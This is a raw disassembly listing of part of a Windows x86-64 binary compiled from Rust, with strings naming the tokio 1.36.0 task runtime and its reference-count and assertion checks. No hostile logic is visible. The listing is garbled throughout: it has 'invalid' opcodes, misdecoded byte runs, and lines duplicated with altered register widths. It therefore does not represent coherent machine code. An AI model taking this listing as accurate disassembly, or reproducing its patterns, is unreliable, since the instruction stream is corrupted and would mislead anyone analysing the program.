je 0x14008d2b4
test rax, rax
je 0x14008d2b4
mov rdi, qword [rsi + 8]
test rdi, rdi
je 0x14008d2b4
mov rbx, qword [rsi + 0x10]
mov rax, qword [rbx]
test rax, rax
je 0x14008d290
mov rcx, rdi
call rax
cmp qword [rbx + 8], 0
je 0x14008d2b4
cmp qword [rbx + 0x10], 0x11
jb 0x14008d2a2
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
lea rax, str.JoinHandle_polled_after_completion
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x30], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x20]
call fcn.1401224d0
int3
jne 0x14008d4b4
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14008d47b
lea rcx, [rsi + 0x20]
call fcn.14002ded0
lea rcx, [rsi + 0x30]
call fcn.140067620
mov rax, qword [rsi + 0x68]
test rax, rax
je 0x14008d494
mov rcx, qword [rsi + 0x70]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
jne 0x14008d569
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x14008d537
lea rcx, [rsi + 0x20]
call fcn.14002ded0
lea rcx, [rsi + 0x30]
call fcn.140067620
mov rax, qword [rsi + 0x68]
test rax, rax
je 0x14008d550
mov rcx, qword [rsi + 0x70]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rsi
ret
je 0x14008d5bf
and byte [rax - 0x77], cl
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
sal dword [rcx], 0xd2
mov rcx, rax
xor edx, edx
test cl, 3
sete dl
or rdx, rax
or rdx, 0x20
or edx, 0x20
lock cmpxchg qword [rsi], rdx
jne 0x14008d5b0
test cl, 3
je 0x14008d63a
add esi, dword [rsp + rbp*2 + 0x48]
mov eax, 0xffffffc0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
cmp eax, 0x3f
cmp eax, 0x3f
jbe 0x14008d805
and rax, 0xffffffffffffffc0
cmp rax, 0x40
clc
jne case.0x140057c9f.192
clc
jne case.0x140057c9f.192
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14008d601
lea rcx, [rsi + 0x20]
call fcn.14002ded0
and al, ch
iretd
lea rcx, [rsi + 0x30]
call fcn.140067620
mov rax, qword [rsi + 0x68]
test rax, rax
je 0x14008d61a
mov rcx, qword [rsi + 0x70]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov eax, dword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14019f30c]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je case.0x1400679a0.137
invalid
invalid
xorps xmm6, xmm6
cmp eax, 1
je 0x14008d6a0
jmp 0x14008d6cc
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
sbb al, 0x11
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea ecx, [rbx + 0xd8]
lea ecx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
stc
add eax, 0x2883c600
add dword [rax], eax
add byte [rcx], al
stc
add eax, 0x2883c600
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
mov dword [rax + 0x100], edi
mov dword [rax + 0x100], edi
mov eax, 0x100
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.140067620
inc esi
push rax
add eax, 0x1c2a058b
adc dword [rax], eax
inc esi
push rax
add eax, 0x1c2a058b
adc dword [rax], eax
mov rcx, qword gs:[0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008d75f
cmp eax, 1
je 0x14008d72d
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
invalid
sbb al, 0x11
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
invalid
add byte [rax - 0x75], cl
sbb al, 0xc1
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp 0x14008d766
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140067620
mov qword [rsi + 0x30], 1
mov qword [rsi + 0x38], 0
mov dword [rsi + 0x38], 0
mov dword [rsi + 0x38], 0
mov qword [rsi + 0x48], rbx
mov byte [rsi + 0x50], 4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x128]
cmp eax, 2
invalid
je 0x14008d7f1
add dh, byte [rsp + rcx*2 - 0x7d]
clc
add dword [rbp + rbp - 0x75], esi
add eax, 0x111b5c
cmp eax, 1
je case.0x140088935.48
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
add eax, 0x2887c600
add dword [rax], eax
add byte [rcx], al
add eax, 0x2887c600
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
je 0x14008d81c
and byte [rax - 0x7d], cl
invalid
xor byte [rbx + 0x5f], bl
pop rsi
jmp 0x1400803a0
je 0x14008d81c
and byte [rax - 0x7d], cl
invalid
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea ecx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
add al, ch
or qword [rax], r8
int3
invalid
add ah, cl
int3
mov rcx, rax
and rcx, 0xfffffffffffffff8
ror dword [rax - 0x7d], 0xe1
clc
inc rcx
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x14008d884
test al, 4
je 0x14008dede
test al, 3
je 0x14008d840
cmp rax, 0x3f
jbe 0x14008def6
lea rcx, [rax - 0x40]
cmp rcx, 0x40
ror byte [rax - 0x7d], 0xf9
setb dl
setb dl
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x14008d859
movzx eax, dl
lea rcx, [0x1401944bc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14016a168]
mov qword [rsp + 0x80], rax
add byte [rax], 0
add byte [rax - 0x77], cl
mov ah, 0x24
mov byte [rax], al
add byte [rax], al
add byte [rax], 0
add byte [rax - 0x77], cl
mov ah, 0x24
mov byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x80]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 0
and al, 0x70
add byte [rax], al
add byte [rax], al
cmp dword [rsi + 0x30], 3
jae 0x14008df3e
lea rdi, [rsi + 0x30]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008daaf
add dword [rax], eax
add byte [rbx - 0x7bf0fd08], al
mov ch, 1
add byte [rax], al
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14008d931
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
lea edx, [0x140100f70]
lea edx, [0x140100f70]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
add byte [rax], al
invalid
add byte [rax], al
add dword [rbx + 0x1119d505], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
clc
add byte [rax], al
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
clc
add byte [rax], al
add byte [rcx], al
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
cwde
add byte [rcx], al
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp 0x14008dab2
mov eax, dword [0x14019f30c]
add eax, 0x1119a4
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008d9e5
mov rdi, qword [rsi + 0x28]
jle 0x14008d9ad
cmp eax, 1
je 0x14008d9b7
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
lea rcx, [rbx + 0xd8]
add byte [rax - 0x73], cl
adc eax, 0x735c5
add byte [rax - 0x73], cl
adc eax, 0x735c5
call fcn.1400ed020
mov byte [rbx + 0x128], 1
add dword [rax], eax
add byte [rcx], al
test byte [0x1688c9fb4], 1
add byte [rax], al
add dword [rbx + 0x11194f05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
invalid
add eax, 0x2883c600
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rcx + rax*8]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rdi
jmp 0x14008d9e8
xorps xmm6, xmm6
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.140067cd0
mov qword [rsi + 0x30], 4
add byte [rbx + 0x11190a05], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rbx + 0x11190a05], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
add dword [rax], eax
add byte [rbx + 0x647402f8], al
invalid
add dword [rax], eax
add byte [rbx + 0x647402f8], al
invalid
cmp eax, 1
cmp eax, 1
je 0x14008da4d
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
and eax, 0x58
sbb byte [rcx], dl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
and eax, 0x58
and eax, 0x58
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
lea edx, [0x140100f70]
lea edx, [0x140100f70]
invalid
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
mov ecx, 0x65001118
mov rcx, qword [0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rbx
jmp 0x14008da86
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140067cd0
mov qword [rsi + 0x30], 3
mov dword [rsi + 0x30], 3
mov dword [rsi + 0x30], 3
mov qword [rsi + 0x38], 1
mov qword [rsi + 0x40], 0
mov dword [rsi + 0x40], 0
mov dword [rsi + 0x40], 0
mov qword [rsi + 0x50], rbx
jmp 0x14008ddc6
xorps xmm6, xmm6
test byte [rax - 0x73], 0x5c
and al, 0x60
lea rbx, [rsp + 0x60]
mov rcx, rdi
mov rdx, rbx
mov edx, ebx
mov edx, ebx
call fcn.140067970
mov ecx, dword [0x14019f30c]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
dec dword [rbx + 0x1118440d]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x128]
cmp ecx, 2
je 0x14008db34
cmp ecx, 1
je 0x14008db18
mov ebp, eax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
adc dh, ch
add eax, 0x86c64100
sub byte [rcx], al
add byte [rax], al
invalid
mov eax, ebp
adc dh, ch
add eax, 0x86c64100
sub byte [rcx], al
add byte [rax], al
add dword [rcx - 0x11f27418], ecx
invalid
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
retf 0x110f
mov cl, 0xf8
add byte [rax], al
invalid
mov cl, 1
retf 0x110f
mov cl, 0xf8
add byte [rax], al
add byte [rcx + 0xfc08401], dh
test byte [rbp + 1], ch
add byte [rax], al
test al, al
je 0x14008dca9
lea r14, [rsi + 0x20]
lea esi, [rsi + 0x20]
and byte [rax - 0x75], cl
invalid
mov rax, qword [rsi]
lea rcx, [rsp + 0x30]
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x497bf0ff], ch
test byte [rsi - 0x57fffffd], dh
and byte [rbp + 0x34], dh
invalid
test al, 1
je 0x14008df0e
invalid
mov dh, 3
add byte [rax], al
test byte [rsi - 0x57fffffd], dh
and byte [rbp + 0x34], dh
mov rdx, rax
mov edx, eax
test al, 0x20
jne 0x14008db90
mov edx, eax
and rdx, 0xffffffffffffffde
test al, 4
jne 0x14008dbb0
cmp rax, 0x3f
jbe 0x14008def6
test dword [rbx], eax
add byte [rax], al
test dword [rbx], eax
add byte [rax], al
add rdx, 0xffffffffffffffc0
cmp rdx, 0x40
setb r8b
ret 0x48c0
add r8b, r8b
jmp 0x14008dbc0
shr bl, 0x3e
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rcx - 0x50], al
add ecx, dword [rcx - 0x77]
leave
mov r8b, 3
mov r9, rcx
xor edx, edx
mov qword [r9], rdx
cmp dword [rsp + 0x30], 1
and al, 0x30
invalid
je 0x14008dbd6
and al, 0x30
add dword [rsp + rsi - 0x15], esi
jmp 0x14008dbe6
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x88
insd dword [rdi], dx
add eax, dword [rax]
add byte [rax - 0x7d], cl
ret 0x4140
invalid
test rax, rax
js 0x14008df26
add rdx, 0x40
mov r8b, 1
mov qword [rsp + 0x30], 1
and al, 0x30
add dword [rax], eax
add byte [rax], al
mov r9, rbx
mov ecx, ebx
mov qword [r9], rdx
cmp dword [rsp + 0x30], 1
jne 0x14008dbe6
invalid
adc byte [rax - 0x75], cl
push rsp
and al, 0x60
invalid
mov rdx, qword [rsp + 0x60]
invalid
lock cmpxchg qword [rsi], rdx
jne 0x14008db50
invalid
inc dword [rcx + 0xf]
mov dh, 0xc0
movzx eax, r8b
lea rcx, [0x1401944cc]
lea ecx, [0x1401944cc]
fld xword [rax + 0x10]
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rsi + 0x20]
add rax, 0x10
mov byte [rsp + 0x60], 1
and al, 0x60
add dword [rax - 0x77], ecx
and al, 0x30
and byte [rax - 0x7d], cl
rcl byte [rax], 0xc6
and al, 0x60
add dword [rax - 0x77], ecx
and al, 0x30
invalid
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x60]
invalid
mov qword [rsp + 0x40], rax
and al, 0x40
invalid
and al, 0x40
lea rcx, [rsp + 0x30]
call fcn.1401034c0
mov rax, 0xffffffffffffffc0
invalid
invalid
push rax
xadd qword [rsi], rax
rol dword [rsi], 0x48
cmp eax, 0x3f
invalid
rol dword [rsi], 0x48
cmp eax, 0x3f
jbe 0x14008df76
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x14008d895.2
mov rax, qword [r14]
lock dec qword [rax]
or byte [rbp + 8], dh
or byte [rbp + 8], dh
mov rcx, r14
call fcn.1400caa30
invalid
add byte [rax - 0x77], cl
stc
mov rcx, rdi
jmp 0x14008dc76
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14008dc72
lea rcx, [rsi + 0x20]
call fcn.1400caa30
int 3
invalid
int 3
add byte [rax - 0x73], cl
xor al, r13b
jne 0x14008dc83
lea rcx, [rsi + 0x30]
call fcn.14007e6f0
mov rax, qword [rsi + 0xfd8]
sldt word [rax]
invalid
sldt word [rax]
test rax, rax
test eax, eax
je 0x14008dc91
mov rcx, qword [rsi + 0xfe0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add cl, ch
nop
add dword [rax], eax
invalid
add cl, ch
nop
add dword [rax], eax
add byte [rax + 0x687402f9], al
invalid
je 0x14008dd16
cmp cl, 2
je 0x14008dd16
add dh, byte [rax + rbp*2 + 0x48]
mov ebx, dword [rsi + 0x28]
mov rbx, qword [rsi + 0x28]
movzx eax, cl
cmp eax, 1
je 0x14008dce8
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp case.0x1400861b5.74
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140067cd0
std
dec dword [rax - 0x39]
invalid
add al, 0
add byte [rax], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008ddab
std
dec dword [rax - 0x39]
invalid
add dword [rbp + rbp - 0x75], esi
add eax, 0x1115ba
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
add esi, dword [rdx]
invalid
invalid
add byte [rax - 0x73], cl
adc eax, 0x73203
add esi, dword [rdx]
invalid
invalid
add esi, dword [rdx]
invalid
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x77], cl
mov byte [rax], al
add dword [rax], eax
add bl, ch
jmp 0x14008ddae
mov rcx, rdi
call fcn.140067cd0
mov qword [rsi + 0x30], 3
xor byte [rbx], al
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsi + 0x38], 0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008de31
invalid
out dx, eax
adc al, 0x11
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
ror dword [rdi], 0x11
mov al, 0xf8
add byte [rax], al
add byte [rax], al
ror dword [rdi], 0x11
mov al, 0xf8
add byte [rax], al
add byte [rax], al
mov rcx, rsi
add byte [rax], al
mov rcx, rsi
call 0x1400800b0
movaps xmm6, xmmword [rsp + 0x90]
add byte [rax], al
add rsp, 0xa0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x140167e50]
lea eax, [0x140167e50]
lea eax, [0x140167e50]
mov edx, 0x24
call fcn.140122660
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401681b0]
mov edx, 0x26
call fcn.140122660
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x140167e90]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x140168170]
mov edx, 0x2f
or eax, 0x58d4c00
cmp al, 0xa2
or eax, 0x2fba00
add byte [rax], al
call fcn.140122660
or dword [r8], r8d
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.1401224d0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
call fcn.14007e6f0
mov rax, qword [rsi + 0xfd8]
test rax, rax
je 0x14008dfca
invalid
or cl, byte [rax - 0x75]
mov fs, eax
sldt word [rax]
invalid
mov rcx, qword [rsi + 0xfe0]
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x14008e05b
xorps xmm6, xmm6
cmp eax, 1
je 0x14008e088
jmp 0x14008e0b4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rcx, [rsi + 0x30]
call fcn.140067cd0
mov qword [rsi + 0x30], 4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008e130
cmp eax, 1
je 0x14008e116
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xc1
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xc1
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14008e1c7
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14008e1a2
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14008e163
lea rcx, [rsi + 0x20]
call fcn.1400caa30
lea rcx, [rsi + 0x30]
call fcn.14007e6f0
mov rax, qword [rsi + 0xfd8]
test rax, rax
je 0x14008e182
mov rcx, qword [rsi + 0xfe0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
rol dword [rcx], 0x48
cmp eax, 0x3f
jbe 0x14008e256
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14008e24f
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x14008e217
lea rcx, [rsi + 0x20]
call fcn.1400caa30
lea rcx, [rsi + 0x30]
call fcn.14007e6f0
mov rax, qword [rsi + 0xfd8]
test rax, rax
je 0x14008e236
mov rcx, qword [rsi + 0xfe0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
or dword [r8], eax
or dword [r8], eax
int3
xor byte [rdi], cl
sub dword [rsp + 0x20], esi
and byte [rax - 0x77], cl
invalid
mov rax, qword [rcx]
nop word cs:[rax + rax]
and byte [rax - 0x77], cl
invalid
mov rcx, rax
xor edx, edx
test cl, 3
sete dl
or rdx, rax
or rdx, 0x20
lock cmpxchg qword [rsi], rdx
jne 0x14008e290
test cl, 3
je 0x14008e320
add esi, dword [rdx + rsi*2 + 0x48]
mov eax, 0xffffffc0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
cmp eax, 0x3f
cmp eax, 0x3f
invalid
jbe 0x14008e4f3
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14008e34c
jne 0x14008e34c
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14008e2e1
lea rcx, [rsi + 0x20]
call fcn.1400caa30
lea rcx, [rsi + 0x30]
call fcn.14007e6f0
mov rax, qword [rsi + 0xfd8]
mov eax, dword [rsi + 0xfd8]
mov eax, dword [rsi + 0xfd8]
test rax, rax
je 0x14008e300
mov rcx, qword [rsi + 0xfe0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
add esp, 0x30
add esp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
sub byte [rax], 1
add byte [rax], al
sub byte [rax], 1
add byte [rax], al
test eax, eax
je 0x14008e359
sal byte [rdi + rdx + 0xf], 0x57
xorps xmm6, xmm6
cmp eax, 1
je 0x14008e386
invalid
push rdi
test byte [rbx + 0x3c7401f8], 0xeb
cmp al, 0xeb
jmp 0x14008e3b2
movapd xmm6, xmmword [rsp + 0x20]
movaps xmm6, xmmword [rsp + 0x20]
and al, 0x20
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
